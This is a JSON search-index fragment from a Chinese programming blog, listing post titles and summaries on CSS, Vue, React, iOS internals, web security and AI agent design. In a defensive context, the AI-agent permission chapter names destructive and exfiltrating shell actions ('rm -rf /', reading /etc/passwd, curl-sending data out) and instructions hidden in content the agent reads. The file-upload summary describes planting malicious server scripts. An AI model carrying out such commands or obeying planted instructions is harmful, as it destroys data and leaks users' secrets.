创建完成之后，就会开始执行代码，这个时候，会完成变量赋值，函数引用，以及执行其他代码。\n从这里我们就可以看出详细了解执行上下文极为重要，因为其中涉及到了变量对象，作用域 …","title":"变量对象"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/background/","summary":"引言 在日常前端开发中，经常需要进行背景或背景图的处理。但是大多数前端er并未真正清楚背景的正确使用方式。经过本章的学习，相信你一定可以解决99%的背景处理问题。\n一：简单使用 背景颜色和背景图片是可以共同出现的\ndiv { width: 300px; height: 300px; background-color: red; background-image: url(./imgs/1.jpg); background-repeat: no-repeat; } 页面展示\n一：background-repeat background-repeat决定背景图片的平铺方式\n属性值 …","title":"background"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/methods/","summary":"Methods 的初始化 在 Vue.js 中，每个组件实例（vm）都会有一个 methods 属性，这个属性包含了组件中定义的所有方法。这些方法需要被初始化到实例上，以便可以在模板和生命周期钩子中被调用。初始化过程如下：\nfunction initMethods(vm, methods) { for (var key in methods) { vm[key] = methods[key] == null ? noop : bind(methods[key], vm); } } 这段代码遍历 methods 对象中的每个属性，并将其复制到 Vue 实例（vm）上。如果方法不存在 …","title":"methods"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/","summary":"我们在开发网站或者APP时，首先要解决的问题，就是如何安全地传输和存储用户的密码。一些大公司的用户数据库泄露事件也时有发生，带来非常大的负面影响。因此，如何安全传输存储用户密码，是每位程序员必备的基础。本文将跟大家一起学习，如何安全传输存储用户的密码。\n1. 如何安全地传输用户的密码 要拒绝用户密码在网络上裸奔，我们很容易就想到使用https协议，那先来回顾下https相关知识吧~\n1.1 https 协议 「http的三大风险」 为什么要使用https协议呢？http它不香吗? 因为http是明文信息传输的。如果在茫茫的网络海洋，使用http协议，有以下三大风险：\n窃听/嗅探风险：第三方可以 …","title":"密码存储"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-006/","summary":"ES6 新增了很多特性，扩展运算符就是其中一个。简单的三个点号，让原本繁琐的代码瞬间变得简洁、优雅。就让我们看看它有哪些常见用法吧。\n让函数的 Apply 调用方式成为过去 有时候我们需要通过 Function.prototype.apply 来调用函数，参数就放在一个数组里。\nfunction doStuff (x, y, z) { } var args = [0, 1, 2]; // 调用函数并传参 doStuff.apply(null, args); 现在有了展开运算符，我们可以完全避免使用 apply，只需在调用函数时在数组前加上展开运算符：\ndoStuff(...args); 代码变 …","title":"展开运算符"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-006/","summary":"01、\u0026amp;lt;form\u0026amp;gt;表单 表单是比较重要的HTML元素，主要作用是向服务端提交数据。比如结合表单元素input使用，通过内部的button按钮提交（type=\u0026amp;ldquo;submit\u0026amp;rdquo;）表单数据。\n元素/属性 描述 值/备注 \u0026amp;lt;form\u0026amp;gt; 表单元素 action 提交表单的目标（服务端）地址url method 提交数据的方式，就是数据传输的方式 get：通过URL提交数据 url?uname=1\u0026amp;amp;age=2；post，通过HTTP表单数据提交，键值格式。 target 提交数据时打开action url的方式 _self：当前窗口（默认值 …","title":"表单控件"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/ios%E6%9E%B6%E6%9E%84%E6%A6%82%E8%BF%B0/","summary":"什么是架构 软件架构是指软件系统的高层结构，定义了系统的各个组成部分及其之间的关系。一个好的架构能够帮助我们：\n职责分离：将不同的功能模块分开，降低耦合度 可测试性：使代码更容易进行单元测试 可维护性：便于理解和修改代码 可扩展性：方便添加新功能 团队协作：不同开发者可以并行开发不同模块 架构的两个层次 在讨论iOS架构时，需要区分两种不同层次的架构：\n类型 关注点 代表模式 页面架构 单个页面内的代码组织 MVC、MVP、MVVM、MVI、TCA、VIPER 工程架构 整个App的模块划分与通信 组件化、插件化、微服务化 两者并不冲突，大型项目通常会同时采用：工程层面使用组件化拆分业务，每个 …","title":"iOS架构概述"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-05/","summary":" \u0026amp;ldquo;When a tool is called, the real challenge isn\u0026amp;rsquo;t executing it — it\u0026amp;rsquo;s everything that happens before and after.\u0026amp;rdquo;\n5.1 问题引入 当LLM生成一段包含 tool_use 块的响应——例如\u0026amp;quot;我需要读取文件 src/main.ts\u0026amp;quot;——系统面临一连串精密的调度决策：\n工具发现：从40余个注册工具中，根据名称（或别名）精确定位到 FileReadTool； 输入验证：用 Zod Schema 验证 LLM 生成的参数是否 …","title":"第5章：工具调度算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/selector-interning-explained/","summary":"Selector / SEL 注册、唯一化与方法名查找 在 objc4 中，SEL 的关键价值不是承载一段复杂对象，而是把方法名字符串 “驻留”为全进程唯一的指针。注册、镜像加载 fixup、方法列表排序、方法查找和消息缓存都建立在这个事实上： 同名 selector 最终拥有同一个地址，因此比较 selector 可以退化为一次指针比较。\n作用 统一方法名身份 编译器、Mach-O 镜像、动态注册 API 和运行时内部方法列表都可能产生方法名。selector 唯一化后，同一个方法名只对应一个 SEL。\n让查找足够便宜 方法列表和缓存查找不需要反复比较字符串。命中条件基本都是 …","title":"objc4 Selector / SEL 注册、唯一化与方法名查找"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8C%96%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86/","summary":"本文结合 cocoapods-bin（社区最成熟的二进制化插件）拆解\u0026amp;quot;Pod 二进制化\u0026amp;quot;背后的工程机制：集成时如何透明替换 spec、打包时如何还原 Xcode 产物、调试时如何跳回源码。文末给出\u0026amp;quot;自研一套二进制系统\u0026amp;quot;的落地 checklist。\n想先了解二进制化的整体背景、坑点和适用场景，可以先看 编译优化-二进制化；想了解 pod install 阶段本身的优化（HMap、并发下载等）见 编译优化-CocoaPods优化。\n总体架构 一套完整的 Pod 二进制化系统由三层组成：\nflowchart TB subgraph CI[打包 CI] A1[源 …","title":"编译优化-二进制化实现原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%8Eswift%E5%8C%BA%E5%88%AB/","summary":"语言设计 Objective-C 是C的超集，在C的基础上添加了Smalltalk风格的消息传递机制 对象间交互不通过调用方法而是发送消息，以实现面向对象编程和超高的动态性 动态性由 Objective-C Runtime 系统支持，可以在运行时修改类结构、方法交换等，详见 Runtime 弱类型语言，核心类型id可以指向任何Objective-C对象 Swift 从很多现代化语言中汲取精华，是一门偏重于安全、性能的现代化语言 Swift 也有自己的运行时系统（Swift Runtime），但设计哲学完全不同，更强调编译期优化 强类型语言，编译器在编译阶段进行严格的类型检查 语法特性 …","title":"Objective-C与Swift区别"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86/","summary":"本文聚焦 iOS APM SDK 的采集层，把 APM-指标体系 定义好的指标落地到具体代码与底层原理。按照采集对象分八个模块展开：崩溃、卡死、内存/OOM、FPS 卡顿、启动、网络、CPU/磁盘、业务。\n原理深度与相关文章联动：本文给出整体采集设计与关键代码；单项（如 Mach 异常、Signal、MemoryGraph 等）的纯原理细节在\u0026amp;quot;崩溃/卡顿/启动/耗电\u0026amp;quot;系列中已有深入剖析，本篇通过链接形式串联，避免重复。\n一、采集技术图谱 graph TB subgraph Hook[Hook 技术] H1[Method SwizzlingObjective-C …","title":"APM-数据采集"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/%E9%9F%B3%E8%A7%86%E9%A2%91%E5%8E%9F%E7%90%86/","summary":"音视频开发是iOS中一个庞大且核心的技术领域，涵盖采集、编码、传输、解码、渲染等完整链路。本文从基础概念出发，深入iOS平台提供的音视频框架和底层原理。\n音视频处理全链路 一个完整的音视频系统（如直播、视频通话、短视频）包含以下环节：\nflowchart LR A[\u0026#34;采集Camera/Mic\u0026#34;] --\u0026gt; B[\u0026#34;前处理美颜/降噪\u0026#34;] B --\u0026gt; C[\u0026#34;编码H.264/AAC\u0026#34;] C --\u0026gt; D[\u0026#34;封装FLV/MP4\u0026#34;] D --\u0026gt; E[\u0026#34;传输RTMP/HLS\u0026#34;] E --\u0026gt; F[\u0026#34;解封装解析容器\u0026#34;] F --\u0026gt; G[\u0026#34;解码VideoToolbox\u0026#34;] G --\u0026gt; H[\u0026#34;后处理滤镜/混音\u0026#34;] H …","title":"iOS音视频原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/llm-wiki/","summary":"2026 年 4 月，Andrej Karpathy 在 GitHub Gist 上发布了一份名为 llm-wiki.md 的\u0026amp;quot;想法文档\u0026amp;quot;（idea file），短短几天收获了 5000+ 星和 5000+ fork。这篇文档篇幅不长，却被评价为\u0026amp;quot;后 RAG 时代\u0026amp;quot;个人知识管理的一个**分类定义性（category-defining）**框架。\n原文地址：https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f\nKarpathy 写这篇文档的风格非常有意思：它不是一份实现规范，而是 …","title":"LLM Wiki：Karpathy 提出的\"后 RAG 时代\"个人知识库范式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/snapkit%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":"SnapKit 是 iOS / macOS 社区最广泛使用的 Auto Layout DSL 库，由 Robert Payne 等人维护，目前在 GitHub 已收获 20k+ star。它在 NSLayoutConstraint 之上构建了一整套链式、类型安全、面向协议的声明式约束语法。本文基于 v5.7.1（2025 年 2 月发布，最后 master commit 2025-05-08 19f59a6）源码进行分析，代码总量不足 3500 行，却用一个分级的 Builder 链路，把 NSLayoutConstraint 那套冗长的 API 封装成了今天我们习惯的 …","title":"SnapKit源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-%E5%87%8F%E5%B0%91%E5%8A%A8%E6%80%81%E5%BA%93/","summary":"动态库加载是Pre-main阶段的重要组成部分，每个动态库都需要加载、验证签名、进行符号绑定，这些操作会显著影响启动时间。\n问题分析 当App启动时，dyld需要：\n分析Mach-O文件的Load Commands，找出依赖的动态库 递归加载所有依赖的动态库 对每个动态库进行签名验证 执行Rebase和Bind操作 动态库数量越多，这些操作的耗时就越长。Apple建议将自定义动态库数量控制在6个以内。关于动态库加载的详细流程，可以参考Mach-O的链接、装载与库。\n关于缓存机制：\n系统动态库：已被放入 dyld shared cache 中，其加载和符号绑定操作已预先完成，不会影响 App 启 …","title":"启动优化-减少动态库"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E7%94%9F%E4%BA%A7%E8%80%85%E6%B6%88%E8%B4%B9%E8%80%85%E6%A8%A1%E5%BC%8F/","summary":"定义 生产者消费者模式（Producer-Consumer Pattern）是一种并发设计模式，它通过一个共享的缓冲区来解耦生产者和消费者，使得生产者和消费者可以以不同的速度工作，而不需要直接相互依赖。\n生产者负责产生数据并放入缓冲区，消费者从缓冲区中取出数据进行处理。这种模式是多线程编程中最经典的设计模式之一。\n为什么需要生产者消费者模式 生产者消费者模式要解决的核心问题是：如何在生产者和消费者处理速度不一致的情况下，实现高效、安全的数据传递。\n问题场景：假设我们正在开发一个图片处理App，用户选择多张图片后需要进行滤镜处理。图片加载速度快，但滤镜处理速度慢。\n最直接的方式可能是这样： …","title":"生产者消费者模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/","summary":"什么是版本控制 版本控制是一种系统性的方法，用于管理和跟踪软件开发项目中的代码、文件和资源。它的核心目标是在不同时间点的开发中保持代码的一致性、可追溯性和可维护性。\n为什么要做版本控制 这个问题可以从定义中的关键词可以看出端倪：不同时间点下的代码一致性、可追溯性、可维护性。这里额外补充一点：当今的互联网开发早已步入敏捷迭代，各种动态化方案层出不穷都有着顺应时代潮流的意思，因此软件开发一定会越来越多地涉及到团队开发，团队之间的协作也一定需要这样一个机制去保障稳定性。\n代码一致性 版本控制系统允许开发人员有效地管理和组织项目中的代码。它跟踪每个文件的历史记录，记录了每个版本的变更，包括谁做了什么修 …","title":"版本控制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/","summary":"一、什么是跨域？ 1.什么是同源策略及其限制内容？ 同源策略是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSRF等攻击。所谓同源是指\u0026amp;quot;协议+域名+端口\u0026amp;quot;三者相同，即便两个不同的域名指向同一个ip地址，也非同源。\n同源策略限制内容有：\nCookie、LocalStorage、IndexedDB 等存储性内容 DOM 节点 AJAX 请求发送后，结果被浏览器拦截了 但是有三个标签是允许跨域加载资源：\n\u0026amp;lt;img src=XXX\u0026amp;gt; \u0026amp;lt;link href=XXX\u0026amp;gt; \u0026amp;lt;script src=XXX\u0026amp;gt; …","title":"跨域相关"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-007/","summary":"条件渲染方式 1. if 语句 先从 React 最基本的条件类型来看。如果有数据就显示组件，如果没有数据就不显示任何内容。posts 为需要渲染的列表：\nexport default function App() { const { posts } = usePosts(); if (!posts) return null; return ( \u0026amp;lt;div\u0026amp;gt; \u0026amp;lt;PostList posts={posts} /\u0026amp;gt; \u0026amp;lt;/div\u0026amp;gt; ); } 这种形式会生效的原因就是我们会提前返回，如果满足条件（posts 值不存在），就通过return null 在组件中不显示任何 …","title":"条件渲染的常见方法和注意事项"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/","summary":"概览 meta标签一般放在整个html页面的head部分，在MDN中对他这样定义：\nmeta是文档级元数据元素，用来表示那些不能由其它 HTML 元相关元素（\u0026amp;lt;base\u0026amp;gt;、\u0026amp;lt;link\u0026amp;gt;, \u0026amp;lt;script\u0026amp;gt;、\u0026amp;lt;style\u0026amp;gt;或 \u0026amp;lt;title\u0026amp;gt;）之一表示的任何元数据。\n是不是感觉看起来很抽象？说白了就是为了传达信息。\n先看看meta 元素定义的元数据的类型：\n如果设置了 name属性，meta 元素提供的是文档级别的元数据，应用于整个页面。 如果设置了 http-equiv属性，meta 元素则是编译指令，提供的信息与类似命名的 HTTP …","title":"meta 标签"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/position/","summary":" CSS 中 position 属性用于指定元素的定位方法的类型（static、relative、absolute、fixed、sticky）。\n静态定位 position: static 此属性未 HTML 元素默认定位，一个元素没有以任何特殊的方式定位，它总是按照页面的正常流程定位。\n在此属性下，属性值 top、left、right、bottom 和 z-index 对HTML元素没有影响。\n\u0026amp;lt;div class=\u0026amp;#34;parent\u0026amp;#34;\u0026amp;gt; \u0026amp;lt;div class=\u0026amp;#34;child\u0026amp;#34;\u0026amp;gt;\u0026amp;lt;/div\u0026amp;gt; \u0026amp;lt;/div\u0026amp;gt; …","title":"position"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/lifecycle/","summary":"vue3生命周期 在Vue中，生命周期指的是Vue实例从创建到销毁的过程。在这个过程中，Vue实例会经历一系列的阶段，包括数据观测、模板编译、挂载DOM、更新DOM、卸载等等。在这些阶段，Vue提供了一些生命周期钩子函数，让我们可以在特定的时机执行某些代码。\n为什么需要生命周期 生命周期钩子函数为我们提供了在Vue实例生命周期不同阶段执行代码的能力。这对于非响应式的操作非常有用，例如直接操作DOM、添加事件监听器或者创建定时器等。这些操作如果在数据变化时执行可能会导致不必要的性能开销，而生命周期钩子函数让我们可以更合理地安排这些操作的执行时机。一些常用的库，例如react，webpack都提供 …","title":"生命周期"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/export-import/","summary":"export，import 是什么 我们知道，JS 模块导入导出，使用 import , export 这两个关键字\nexport 用于对外输出本模块 import 用于导入模块 也就是说使用 export 导出一个模块之后，其它文件就可以使用 import 导入相应的模块了\n下面我们具体看看， import 和 export 到底怎么用？怎么导出模块（比如变量，函数，类，对象等）\n1 导出单个变量 //a.js 导出一个变量，语法如下 export var site = \u0026amp;#34;www.helloworld.net\u0026amp;#34; //b.js 中使用import 导入上面的变量 import …","title":"export/import"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-007/","summary":"文件上传漏洞简介 原理 攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本到服务器上,然后访问这些恶意脚本中包含的恶意代码,从而获得了执行服务器端命令的能力,进一步影响服务器安全。\n危害 文件上传漏洞最直接的威胁就是上传任意文件，包括恶意脚本、可执行程序等。\n如果Web 服务器所保存上传文件的可写目录具有执行权限，那么就可以直接上传后门文件，导致网站沦陷。\n如果攻击者通过其他漏洞进行提权操纵，拿到系统管理权限，那么直接导致服务器沦陷。\n同服务器下的其他网站无一幸免，均会被攻击者控制。\n利用 对于利用，我们只需要有个文件上传的点，以及我们知道我们所传的文件所在目录并且上传的恶意文件能够被 …","title":"文件上传安全"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-007/","summary":"\n初学JavaScript的时候，我在学习闭包上，走了很多弯路。而这次重新回过头来对基础知识进行梳理，要讲清楚闭包，也是一个非常大的挑战。\n闭包有多重要？如果你是初入前端的朋友，我没有办法直观的告诉你闭包在实际开发中的无处不在，但是我可以告诉你，前端面试，必问闭包。面试官们常常用对闭包的了解程度来判定面试者的基础水平，保守估计，10个前端面试者，至少5个都死在闭包上。\n可是为什么，闭包如此重要，还是有那么多人没有搞清楚呢？是因为大家不愿意学习吗？还真不是，而是我们通过搜索找到的大部分讲解闭包的中文文章，都没有清晰明了的把闭包讲解清楚。要么浅尝辄止，要么高深莫测，要么干脆就直接乱说一通。包括我自 …","title":"作用域链与闭包"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-06/","summary":"6.1 问题引入：当 AI 获得了执行 Shell 命令的能力 想象一个场景：你让 AI 助手帮你整理项目目录。它需要执行 rm 命令删除临时文件、执行 mv 命令重命名文件、执行 sed 命令批量修改内容。这些操作本身无害，但同一个 rm 命令，参数从 rm ./tmp/*.log 变成 rm -rf /，后果就是灾难性的。\n一个拥有 Shell 执行能力的 AI Agent，本质上获得了与用户等同的系统操作权限。它可以读取 /etc/passwd，可以通过 curl 将敏感数据发送到外部服务器，可以通过 git push --force 覆盖远程仓库的历史。更隐蔽的是，恶意指令可能被藏在看 …","title":"第6章 权限决策算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/","summary":" 源码版本说明：本文涉及的源码基于 LLVM/Clang 23.0.0 开发版本（llvm-project main分支，commit: 301c0d91b558，2026-01-16）。不同版本的实现细节可能略有差异，但核心机制保持一致。\n在Objective-C开发中，头文件引用是日常开发中最基础的操作之一。本文将从Clang编译器的角度，深入讲解iOS中各种import方式的区别、底层查找原理以及最佳实践。\n引用方式 语法示例 适用场景 #include #include \u0026amp;quot;Header.h\u0026amp;quot; C/C++传统方式 #import #import …","title":"iOS中import详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/protocol-runtime-explained/","summary":"目录 1. Protocol 的作用 2. 核心结构 3. read_images 读取协议 4. remap 与重复协议 5. 查询与 conforms 判断 6. 动态创建与注册 7. 测试体现的行为 8. 总结\n1. Protocol 的作用 在 objc4 中，Protocol * 并不是一个只有名字的轻量句柄，而是运行时管理的一类 Objective-C 对象。 它承载协议名、继承的协议列表、必需/可选方法列表、实例/类属性列表等元数据。类、分类和协议自身都可以引用这些对象。\n对外 API 位于 runtime/runtime.h 的 “Working with Protocols” …","title":"objc4 Protocol 结构、注册与查询"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%95%B0%E6%8D%AE%E6%9E%B6%E6%9E%84/","summary":"APM 服务端本质上是一个面向移动端遥测数据的实时数据平台。它不是简单的“接收接口 + MySQL”，而要处理高吞吐写入、弱 Schema 演进、实时聚合、明细查询、符号化、Issue 聚类、告警计算和配置反控。\n一、整体架构 flowchart TB SDK[\u0026#34;iOS SDK\u0026#34;] --\u0026gt; Gateway[\u0026#34;接入网关\u0026#34;] Gateway --\u0026gt; RawQueue[\u0026#34;Raw QueueKafka / Pulsar\u0026#34;] RawQueue --\u0026gt; Clean[\u0026#34;清洗标准化Schema / 脱敏 / 维度补全\u0026#34;] Clean --\u0026gt; Stream[\u0026#34;实时计算Flink / Spark …","title":"APM-服务端数据架构"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/prompt-engineering/","summary":"大语言模型（LLM）的能力边界很大程度上取决于你怎么跟它说话。同样的模型，一个精心设计的Prompt可以得到专业级的回答，一个随意的Prompt可能只得到平庸甚至错误的结果。Prompt Engineering就是研究如何有效地与LLM沟通的技术。\n一、Prompt的基本构成 1.1 一个Prompt的解剖 一个高质量的Prompt通常包含以下要素：\ngraph TD P[\u0026#34;完整的Prompt\u0026#34;] --\u0026gt; R[\u0026#34;角色Role\u0026#34;] P --\u0026gt; C[\u0026#34;上下文Context\u0026#34;] P --\u0026gt; I[\u0026#34;指令Instruction\u0026#34;] P --\u0026gt; E[\u0026#34;示例Examples\u0026#34;] P --\u0026gt; F[\u0026#34;格式要求 …","title":"Prompt Engineering"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/swinject%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":"Swinject 是一款轻量级的 Swift 依赖注入（Dependency Injection）框架，灵感来自 .NET 的 Ninject。它通过类型安全的方式管理对象之间的依赖关系，将对象的创建和使用解耦。本文基于 v2.8.3 源码进行分析。\n一、整体架构 Swinject 的核心设计围绕**注册-解析（Register-Resolve）**模式展开，整个框架仅约 20 个源码文件，代码极为精简。\ngraph TB subgraph \u0026#34;组织层\u0026#34; A[\u0026#34;Assembler\u0026#34;] B[\u0026#34;Assembly (Protocol)\u0026#34;] end subgraph \u0026#34;核心层\u0026#34; …","title":"Swinject源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-%E8%A7%82%E6%B5%8B/","summary":"准确测量启动时间是优化的前提。启动时间是用户体验的关键指标之一，研究表明，应用性能直接影响用户留存：页面加载时间每增加1秒，用户流失率会显著上升。对于iOS应用，需要在20秒内完成启动，否则可能会被watchdog强制终止。\n本文介绍如何测量和监控iOS应用的启动时间。关于启动流程的详细介绍，请参考 App启动流程。\n一、测量方式概览 iOS 提供了多种测量启动时间的方式，适用于不同场景：\n方式 适用场景 粒度 是否需要代码 dyld 环境变量 开发调试 定性分析 否 Instruments App Launch 深度分析 函数级 否 代码埋点 开发调试 + 线上监控 自定义 是 …","title":"启动优化-观测"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/%E5%BE%AE%E6%9C%8D%E5%8A%A1%E5%8C%96/","summary":"什么是客户端微服务化 微服务化是将后端微服务的思想应用到客户端，将App内部按业务域拆分为多个独立服务。每个服务拥有独立的数据存储和业务逻辑，服务间通过定义良好的接口通信。\n微服务化的核心关注点是：\n业务域的逻辑划分：按领域边界划分服务，而非按代码结构 运行时隔离：服务在运行时保持独立，数据不互相污染 服务自治：每个服务独立演进，对外提供稳定的契约 客户端微服务化 vs 后端微服务 维度 后端微服务 客户端微服务化 部署 独立部署、独立运行的进程 同一App内的独立服务 通信 HTTP/RPC/消息队列 进程内通信（协议、事件总线） 数据库 每个服务独立数据库 每个服务独立数据存储空间 扩缩容 …","title":"微服务化架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E7%AD%96%E7%95%A5%E6%A8%A1%E5%BC%8F/","summary":"定义 策略模式（Strategy Pattern）是一种行为型设计模式，它定义了一系列算法，将每个算法封装起来，并使它们可以相互替换。策略模式让算法独立于使用它的调用者而变化。\n策略模式的核心思想是：将算法的定义与使用分离，通过组合而非继承来实现算法的切换。\n为什么需要策略模式 在实际开发中，我们经常会遇到这样的场景：同一个功能有多种实现方式，而且这些实现方式需要根据不同条件进行切换。\n问题场景：假设我们正在开发一个电商App的支付功能，需要支持信用卡、Apple Pay、支付宝等多种支付方式。\n最直接的实现方式可能是这样：\nfunc processPayment(type: String, …","title":"策略模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/%E5%A4%B4%E6%96%87%E4%BB%B6%E4%B8%8Ehmap/","summary":"对以 Objective-C 为主或混编的 iOS 大型工程，头文件查找是一个被严重低估的编译开销点。美团的统计显示，400+ Pod 组件的工程会产生近 5 万个头文件，导致海量的 IO 操作和编译参数膨胀。Header Map（HMap）技术能把头文件查找从 O(n) 的目录扫描退化为 O(1) 的哈希查表。\n头文件查找的代价 Clang 的查找流程 当 Clang 遇到 #import \u0026amp;lt;AFNetworking/AFNetworking.h\u0026amp;gt; 时：\nflowchart TD A[遇到 #import] --\u0026gt; B{是否系统头?} B -- 是 --\u0026gt; …","title":"编译优化-头文件与HMap"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-008/","summary":"现如今，前端开发的同学已经离不开 npm 这个包管理工具，其优秀的包版本管理机制承载了整个繁荣发展的NodeJS社区，理解其内部机制非常有利于加深我们对模块开发的理解、各项前端工程化的配置以加快我们排查问题（相信不少同学收到过各种依赖问题的困扰）的速度。\n本文从三个角度：package.json、版本管理、依赖安装结合具体实例对 npm 的包管理机制进行了详细分析。\n一、剖析 package.json 在 Node.js 中，模块是一个库或框架，也是一个 Node.js 项目。Node.js 项目遵循模块化的架构，当我们创建了一个 Node.js 项目，意味着创建了一个模块，这个模块必须有一个 …","title":"包管理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-008/","summary":"TCP/IP提供了通过 IP地址 来连接到设备的功能，但对用户来讲，记住某台设备的IP地址是相当困难的，因此专门设计了一种字符串形式的主机命名机制，这些主机名与IP地址相对应。在IP地址与主机名之间需要有一种转换和查询机制，提供这种机制的系统就是域名系统DNS（Domain Name System）。\n为什么要有DNS？ 互联网中，一台计算机与其他计算机通信时，通过 IP地址 唯一的标志自己。此时的IP地址就类似于我们日常生活中的电话号码。但是，这种纯数字的标识是比较难记忆的，而且数量也比较庞大。例如，每个IPv4地址是一个32位长的二进制数字，或者采用点分十进制展示成192.168.1.1这 …","title":"DNS解析"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-008/","summary":"当我们在 React 要渲染一个列表时，如果没有在每一个被渲染的元件加上 key 这个 prop，就会跳出 Warning: Each child in a list should have a unique “key” prop. 这个错误讯息。直到开发者把 key 加上后，这个警告讯息才会消失。为什么要加上 key? 以及 key 有什么原则需要遵守? 这是在开发 React 时需要有的重要概念，也是面试经常会问的基础题。\n为什么需要 key？ key 就像一个独特身份，让 React 可以去分辨哪些子元件被新增、 移除，或是修改。 (编按：若要进一步说明此概念，推荐在面试时画下 Dan …","title":"列表和key"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/position-sticky/","summary":"如果问，CSS 中 position 属性的取值有几个？大部分人的回答大概是 static、relative、absolute、fixed，实际上MDN上还有一个 sticky。\n今天我们就来给大家介绍这个容易被忽视的position属性值 sticky。\n先来看看MDN上对于 sticky 的介绍：\n粘性定位元素（stickily positioned element）是计算后位置属性为 sticky 的元素。\n粘性定位可以被认为是相对定位和固定定位的混合。\n什么是结合两种定位功能于一体呢？\n元素在跨越特定阈值前为相对定位，之后为固定定位。\n也就是元素先按照普通文档流定位，然后相对于该元素在 …","title":"position: sticky"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-008/","summary":"我们在学习JavaScript的过程中，由于对一些概念理解得不是很清楚，但是又想要通过一些方式把它记下来，于是就很容易草率的给这些概念定下一些方便自己记忆的有偏差的结论。\n危害比较大的是，有的不准确的结论在网上还广为流传。\n比如对于this指向的理解中，有这样一种说法：谁调用它，this就指向谁。在我刚开始学习this的时候，我是非常相信这句话的。因为在一些情况下，这样理解也还算说得通。可是我常常会在开发中遇到一些不一样的情况，一个由于this的错误调用，可以让我懵逼一整天。那个时候我也查资料，在群里问大神，可是我仍然搞不清楚“我特么到底错哪里了”。其实只是因为我心中有一个不太准确的结论。\n所 …","title":"全方位解读this"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-008/","summary":"Vue3 组件通信方式 props $emit expose / ref $attrs v-model provide / inject Vuex mitt Vue3 通信使用写法 1. props 用 props 传数据给子组件有两种方法，如下\n方法一，setup() 方法写法\n// Parent.vue 传送 \u0026amp;lt;child :msg1=\u0026amp;#34;msg1\u0026amp;#34; :msg2=\u0026amp;#34;msg2\u0026amp;#34;\u0026amp;gt;\u0026amp;lt;/child\u0026amp;gt; \u0026amp;lt;script\u0026amp;gt; import child from \u0026amp;#34;./child.vue\u0026amp;#34; import { ref, …","title":"组件通信"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/promise/","summary":"Promise 是在 ES6 出现的新功能，并且是用来优化过去回调函式 callback 的写法。这篇面试详解中会讨论到， promise 是什么、为什么需要有 Promise，以及延伸到 async/await 相关问题。\n为什么要使用 Promise？ 在探讨 Promise 之前，我们先来看一下为什么需要它的出现。\nJavaScript 中有一个重要概念 - 异步 (async)，它允许我们在执行耗时任务时，不必等待程式完成，而是继续执行下面的代码，直到任务完成再通知。常用的异步操作有：文件操作、数据库操作、AJAX 以及定时器等。\nJavaScript 有两种实现异步的方式：\n第一种： …","title":"Promise"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-008/","summary":"一、简介 